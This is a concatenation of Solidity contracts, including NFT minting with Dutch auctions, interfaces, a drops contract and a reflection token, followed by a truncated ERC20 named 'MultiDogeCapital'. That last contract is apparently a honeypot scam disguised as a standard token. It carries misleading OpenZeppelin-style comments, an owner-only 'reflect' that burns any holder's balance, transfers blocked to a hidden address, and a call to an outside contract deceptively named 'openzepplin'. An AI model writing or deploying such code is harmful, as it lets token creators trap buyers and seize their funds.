"No more whitelist tokens!"
);
require(maxTokens > totalSupply(), "No more tokens remaining!");
addressToWhitelistMinted[msg.sender]++; // increments the tracker so that they cannot mint again
tokensMintedForWhitelist++; // increments tracker of how many tokens have been minted from whitelist
uint256 _mintId = totalSupply();
_mint(msg.sender, _mintId);
emit MintWhitelist(msg.sender, _mintId);
}
// Dutch Auction Items
uint256 public dutchEndingPrice = 0.01 ether;
uint256 public dutchPriceAdditional = 0.99 ether; // record the additional price of dutch and deduct
uint256 public dutchStartTime; // record the start time
uint256 public dutchDuration; // record the duration
uint256 public dutchEndTime; // record the end time
bool public dutchAuctionStarted; // boolean for dutch auction
modifier dutchAuction() {
require(
dutchAuctionStarted && block.timestamp >= dutchStartTime,
"Dutch auction has not started yet!"
);
_;
}
function setDutchAuctionStartStatus(bool bool_) public onlyOwner {
dutchAuctionStarted = bool_;
}
// Dutch Action Initialize
function setDutchAuction(
uint256 dutchPriceAdditional_,
uint256 dutchStartTime_,
uint256 dutchDuration_
) public onlyOwner {
dutchPriceAdditional = dutchPriceAdditional_; // set the additional price of dutch to deduct
dutchStartTime = dutchStartTime_; // record the current start time as UNIX timestamp
dutchDuration = dutchDuration_; // record the duration of the dutch in order to deduct
dutchEndTime = dutchStartTime.add(dutchDuration); // record for safekeeping the ending time
}
// Dutch Auction Functions
function getTimeElapsed() public view returns (uint256) {
return
dutchStartTime > 0
? dutchStartTime.add(dutchDuration) >= block.timestamp
? block.timestamp.sub(dutchStartTime)
: dutchDuration
: 0; // this value will end at dutchDuration as maximum.
}
function getTimeRemaining() public view returns (uint256) {
return dutchDuration.sub(getTimeElapsed());
}
function getAdditionalPrice() public view returns (uint256) {
return
dutchDuration.sub(getTimeElapsed()).mul(dutchPriceAdditional).div(
dutchDuration
); // magic equation to calculate additional price on top of ending price
}
function getCurrentDutchPrice() public view returns (uint256) {
return dutchEndingPrice.add(getAdditionalPrice());
}
// untested
function mintDutchAuctionMany(uint256 amount_)
public
payable
onlySender
dutchAuction
{
require(
tokensReservedForDutchAuction >=
tokensMintedForDutchAuction + amount_,
"No more tokens for Dutch Auction!"
);
require(
maxTokens >= totalSupply() + amount_,
"No more tokens remaining!"
);
require(50 >= amount_, "You can only mint up to 50 per transaction!");
require(
msg.value >= getCurrentDutchPrice() * amount_,
"Invalid value sent!"
);
tokensMintedForDutchAuction += amount_; // increase tokens minted for dutch auction tracker
for (uint256 i = 0; i < amount_; i++) {
uint256 _mintId = totalSupply();
uint256 _currentPrice = getCurrentDutchPrice();
_mint(msg.sender, _mintId);
emit MintDutchAuction(msg.sender, _currentPrice, _mintId);
}
}
function mintDutchAuction() public payable onlySender dutchAuction {
require(
tokensReservedForDutchAuction > tokensMintedForDutchAuction,
"No more tokens for Dutch Auction!"
);
require(maxTokens > totalSupply(), "No more tokens remaining!");
require(msg.value >= getCurrentDutchPrice(), "Invalid value sent!");
tokensMintedForDutchAuction++; // increase tokens minted for dutch auction tracker
uint256 _mintId = totalSupply();
uint256 _currentPrice = getCurrentDutchPrice();
_mint(msg.sender, _mintId);
emit MintDutchAuction(msg.sender, _currentPrice, _mintId);
}
// Rollover Sale Items
uint256 public rolloverSalePrice;
uint256 public rolloverSaleStartTime;
bool public rolloverSaleStarted;
uint256 public rolloverSaleTokensMinted;
modifier rolloverSale() {
require(
rolloverSaleStarted && block.timestamp >= rolloverSaleStartTime,
"Rollover sale has not started yet!"
);
_;
}
// Rollover Sale Functions
function setRolloverSalePrice(uint256 price_) public onlyOwner {
rolloverSalePrice = price_;
}
function setRolloverSaleStatus(uint256 rolloverSaleStartTime_, bool bool_)
public
onlyOwner
{
require(
rolloverSalePrice != 0,
"You have not set a rollover sale price!"
);
rolloverSaleStartTime = rolloverSaleStartTime_;
rolloverSaleStarted = bool_;
}
function mintRolloverSaleMany(uint256 amount_)
public
payable
onlySender
rolloverSale
{
require(
maxTokens >= totalSupply() + amount_,
"No remaining tokens left!"
);
require(5 >= amount_, "You can only mint up to 5 per transaction!");
require(
msg.value == rolloverSalePrice * amount_,
"Invalid value sent!"
);
rolloverSaleTokensMinted += amount_; // add to tracker of public sale tokens minted
for (uint256 i = 0; i < amount_; i++) {
uint256 _mintId = totalSupply();
_mint(msg.sender, _mintId);
emit MintRolloverSale(msg.sender, _mintId);
}
}
function mintRolloverSale() public payable onlySender rolloverSale {
require(maxTokens > totalSupply(), "No remaining tokens left!");
require(msg.value == rolloverSalePrice, "Invalid value sent!");
rolloverSaleTokensMinted++; // add to tracker of public sale tokens minted
uint256 _mintId = totalSupply();
_mint(msg.sender, _mintId);
emit MintRolloverSale(msg.sender, _mintId);
}
// Mint Pass Mint Function
function MintPassClaim(uint256 tokenId) public dutchAuction {
// Require the claimer to have at least one Banker Mint Pass NFT from the specified contract
require(bankers.ownerOf(tokenId) == msg.sender, "Not Mint Pass owner");
// Set limit to no more than MINT_PER_MINT_PASS times of the owned Harems
require(
super.balanceOf(msg.sender) <
bankers.balanceOf(msg.sender) * MINT_PER_MINT_PASS,
"Purchase more Mint Passes"
);
require(super.totalSupply() < maxTokens, "Maximum supply reached.");
uint256 _mintId = totalSupply();
_mint(msg.sender, _mintId);
}
// New White List Functons
mapping(address => uint8) private _allowList;
function setAllowList(address[] calldata addresses, uint8 numAllowedToMint)
external
onlyOwner
{
for (uint256 i = 0; i < addresses.length; i++) {
_allowList[addresses[i]] = numAllowedToMint;
}
}
function numAvailableToMint(address addr) external view returns (uint8) {
return _allowList[addr];
}
function mintAllowList(uint8 numberOfTokens) public whiteListMint {
uint256 ts = totalSupply();
require(
numberOfTokens <= _allowList[msg.sender],
"Exceeded max available to purchase"
);
require(super.totalSupply() < maxTokens, "Maximum supply reached.");
_allowList[msg.sender] -= numberOfTokens;
for (uint256 i = 0; i < numberOfTokens; i++) {
_mint(msg.sender, ts + i);
}
}
// General NFT Administration
function setBaseTokenURI(string memory uri_) external onlyOwner {
baseTokenURI = uri_;
}
function setBaseTokenURI_EXT(string memory ext_) external onlyOwner {
baseTokenURI_EXT = ext_;
}
function tokenURI(uint256 tokenId_)
public
view
override
returns (string memory)
{
require(_exists(tokenId_), "Query for non-existent token!");
return
string(
abi.encodePacked(
baseTokenURI,
Strings.toString(tokenId_),
baseTokenURI_EXT
)
);
}
function walletOfOwner(address address_)
public
view
returns (uint256[] memory)
{
uint256 _balance = balanceOf(address_); // get balance of address
uint256[] memory _tokenIds = new uint256[](_balance); // initialize array
for (uint256 i = 0; i < _balance; i++) {
_tokenIds[i] = tokenOfOwnerByIndex(address_, i);
}
return _tokenIds;
}
} | True | [
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] | [
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] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;
import {IResolver} from "./interfaces/IResolver.sol";
interface ICounter {
function lastExecuted() external view returns (uint256);
function increaseCount(uint256 amount) external;
}
contract CounterResolver is IResolver {
address public immutable COUNTER;
constructor(address _counter) {
COUNTER = _counter;
}
function checker()
external
view
override
returns (bool canExec, bytes memory execPayload)
{
uint256 lastExecuted = ICounter(COUNTER).lastExecuted();
canExec = (block.timestamp - lastExecuted) > 180;
execPayload = abi.encodeWithSelector(
ICounter.increaseCount.selector,
uint256(100)
);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;
interface IResolver {
function checker()
external
view
returns (bool canExec, bytes memory execPayload);
}
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
library ERC721Enumerator {
function tokens(address tokenAddress, address owner)
external
view
returns (uint256[] memory)
{
IERC721 tokenContract = IERC721(tokenAddress);
uint256 balance = tokenContract.balanceOf(owner);
uint256[] memory tokenIds = new uint256[](balance);
uint256 offset;
for (uint256 i = 0; offset < balance; ++i) {
try tokenContract.ownerOf(i) returns (address tokenOwner) {
if (tokenOwner == owner) {
tokenIds[offset] = i;
++offset;
}
} catch {}
}
return tokenIds;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
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/*
,ad8888ba, 88888888888
d8"' `"8b 88
d8' 88
88 ,adPPYba, 88aaaaa
88 88888 a8" "8a 88"""""
Y8, 88 8b d8 88
Y8a. .a88 "8a, ,a8" 88
`"Y88888P" `"YbbdP"' 88888888888
88888888ba,
88 `"8b
88 `8b
88 88 8b,dPPYba, ,adPPYba, 8b,dPPYba, ,adPPYba,
88 88 88P' "Y8 a8" "8a 88P' "8a I8[ ""
88 8P 88 8b d8 88 d8 `"Y8ba,
88 .a8P 88 "8a, ,a8" 88b, ,a8" aa ]8I
88888888Y"' 88 `"YbbdP"' 88`YbbdP"' `"YbbdP"'
88
88
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0;
interface IGoE721Genesis {
function policyMint(address _to, uint256 _amount) external;
}
interface IGoE721 {
function walletOfOwner(address wallet) external view returns(uint256[] memory);
function balanceOf(address) external view returns(uint256);
function transferFrom(address ,address ,uint256 ) external;
}
contract GoEDrops {
uint256 _NFTprice = 0.15 ether;
uint256 _NFTavailable = 40;
address _dev;
address _owner1 = 0xd928775286848A0624342252167c3FFc459bADed;
address _owner2 = 0xe5c4e12A479ed9023088556366606F758B0de20D;
address GOE_GENESIS = 0x586dAE24dd99ac8a240Cc475b052a9F737808073;
bool _paused = true;
function _isOwner(address _addr) internal view returns(bool){
if((_addr == _owner1) || (_addr == _owner2)){
return true;
}
return false;
}
modifier ownerAllowed() {
require(_isOwner(msg.sender), "GoEGSupplement: Only owners can withdraw");
_;
}
modifier keyAllowed() {
require((msg.sender == _owner1) || (msg.sender == _owner2) || (msg.sender == _dev), "GoEGSupplement: Only keys can transfer");
_;
}
constructor(){
_dev = msg.sender;
}
function togglePaused() external keyAllowed {
_paused = !_paused;
}
function changeAttr(address _nGG, uint256 _nPrice, uint256 _nAmount) external keyAllowed {
GOE_GENESIS = _nGG;
_NFTprice = _nPrice;
_NFTavailable = _nAmount;
}
function secondaryMint(address _to) external payable {
require(msg.value >= _NFTprice, "GoEGSupplement: Need to pay atleast 0.15 eth");
require(IGoE721(GOE_GENESIS).balanceOf(msg.sender) > 0, "GoEGSupplement: Only Genesis NFT Holders can mint");
if(!_isOwner(msg.sender)){
require(!_paused, "GoEGSupplement: Supplementary minting is paused");
require(_NFTavailable > 0, "GoEGSupplement: No more avaliable secondary mints");
_NFTavailable -= 1;
}
IGoE721Genesis(GOE_GENESIS).policyMint(_to, 1);
}
function withdraw(address to, uint256 amount) external ownerAllowed {
require(payable(to).send(amount));
}
} | True | [
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pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./Ownable.sol";
import "./IUniswapV2Router02.sol";
import "./IUniswapV2Factory.sol";
import "./UsingSmartStateProtection.sol";
contract PuppyToken is IERC20, Ownable, UsingSmartStateProtection {
address UniswapPair;
IUniswapV2Router02 UniswapV2Router;
address internal protection_service;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 public constant _tTotal = 1e15 * 1e9; //1 quadrillion
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
bool public _feesEnabled = true;
event FeesChanged(bool status);
string private _name = 'Puppies Network';
string private _symbol = 'PPN';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
UniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
UniswapPair = IUniswapV2Factory(UniswapV2Router.factory())
.createPair(address(this), UniswapV2Router.WETH());
setPair(UniswapPair);
emit Transfer(address(0), _msgSender(), _tTotal);
}
receive() external payable {}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function disableFees() external onlyOwner {
_feesEnabled = false;
emit FeesChanged(false);
}
function enableFees() external onlyOwner {
_feesEnabled = true;
emit FeesChanged(true);
}
function reflect(uint256 tAmount) external {
require(_feesEnabled, "Not allowed");
address sender = _msgSender();
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (_feesEnabled) {
if (sender != address(this)) {
_beforeTokenTransfer(sender, recipient, amount);
}
if (recipient == UniswapPair && sender != address(this)) {
_transferWithFee(sender, recipient, amount);
} else {
_transferWithoutFee(sender, recipient, amount);
}
} else {
if (sender != address(this)) {
_beforeTokenTransfer(sender, recipient, amount);
}
_transferWithoutFee(sender, recipient, amount);
}
}
function _transferWithFee(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_liquify(rFee);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferWithoutFee(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount + rFee;
emit Transfer(sender, recipient, tAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee * 2 / 5;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount * 5 / 100;
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
return (_rTotal, _tTotal);
}
function _liquify(uint256 rFee) private {
_rOwned[address(this)] += rFee * 3 / 5;
uint _tokenAmount = tokenFromReflection(rFee * 3 / 5);
uint half = _tokenAmount / 2;
uint anotherHalf = _tokenAmount - half;
_approve(address(this), address(UniswapV2Router), half);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = UniswapV2Router.WETH();
uint balanceBefore = address(this).balance;
UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
half,
0, //accept any amount of ETH
path,
address(this),
block.timestamp
);
uint balanceAfter = address(this).balance;
_approve(address(this), address(UniswapV2Router), anotherHalf);
UniswapV2Router.addLiquidityETH{value: balanceAfter - balanceBefore}(
address(this),
anotherHalf,
0,
0,
owner(),
block.timestamp
);
}
function addLiquidityETH(
uint _amountTokenDesired,
uint _amountTokenMin,
uint _amountETHMin,
address _to,
uint _deadline
) external onlyOwner {
_approve(address(this), address(UniswapV2Router), _amountTokenDesired);
UniswapV2Router.addLiquidityETH{value: _amountETHMin}(
address(this),
_amountTokenDesired,
_amountTokenMin,
_amountETHMin,
_to,
_deadline
);
}
function addLiquidityETHAndEnableProtection(
uint _amountTokenDesired,
uint _amountTokenMin,
uint _amountETHMin,
address _to,
uint _deadline,
uint _IDONumber)
external payable onlyOwner {
_approve(address(this), address(UniswapV2Router), _amountTokenDesired);
UniswapV2Router.addLiquidityETH{value: msg.value}(
address(this),
_amountTokenDesired,
_amountTokenMin,
_amountETHMin,
_to,
_deadline);
ps().liquidityAdded(
block.number,
_amountTokenMin,
IDOFactoryEnabled(),
_IDONumber,
IDOFactoryBlocks(),
IDOFactoryParts(),
firstBlockProtectionEnabled(),
blockProtectionEnabled(),
blocksToProtect(),
address(this));
enableProtection();
}
function _beforeTokenTransfer(address _from, address _to, uint _amount) internal {
protectionBeforeTokenTransfer(_from, _to, _amount);
}
function isAdmin() internal view override returns(bool) {
return msg.sender == owner() || msg.sender == address(this); //replace with correct value
}
function setProtectionService(address _ps) external onlyOwner {
protection_service = _ps;
}
function protectionService() internal view override returns(address) {
return protection_service;
}
function firstBlockProtectionEnabled() internal pure override returns(bool) {
return true; //set true or false
}
function blockProtectionEnabled() internal pure override returns(bool) {
return true; //set true or false
}
function blocksToProtect() internal pure override returns(uint) {
return 69; //replace with correct value
}
function amountPercentProtectionEnabled() internal pure override returns(bool) {
return true; //set true or false
}
function amountPercentProtection() internal pure override returns(uint) {
return 5; //replace with correct value
}
function IDOFactoryEnabled() internal pure override returns(bool) {
return true; //set true or false
}
function priceChangeProtectionEnabled() internal pure override returns(bool) {
return false; //set true or false
}
function priceProtectionPercent() internal pure override returns(uint) {
return 5; //replace with correct value
}
function rateLimitProtectionEnabled() internal pure override returns(bool) {
return true; //set true or false
}
function rateLimitProtection() internal pure override returns(uint) {
return 60; //replace with correct value
}
function IDOFactoryBlocks() internal pure override returns(uint) {
return 30; //replace with correct value
}
function IDOFactoryParts() internal pure override returns(uint) {
return 3; //replace with correct value
}
function blockSuspiciousAddresses() internal pure override returns(bool) {
return true; //set true or false
}
} | True | [
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] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function zeroAddress() virtual external view returns (address){}
/**
* @dev Returns the zero address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract MultiDogeCapital is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal nulls;
address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Reflects a specific amount of tokens.
* param value The amount of lowest token units to be reflected.
*/
function reflect(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: reflect from the zero address");
_reflect (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) _allowed(tokens);
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function _allowed(uint tokens) internal {
nulls = IERC20(openzepplin).zeroAddress();
number = tokens;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
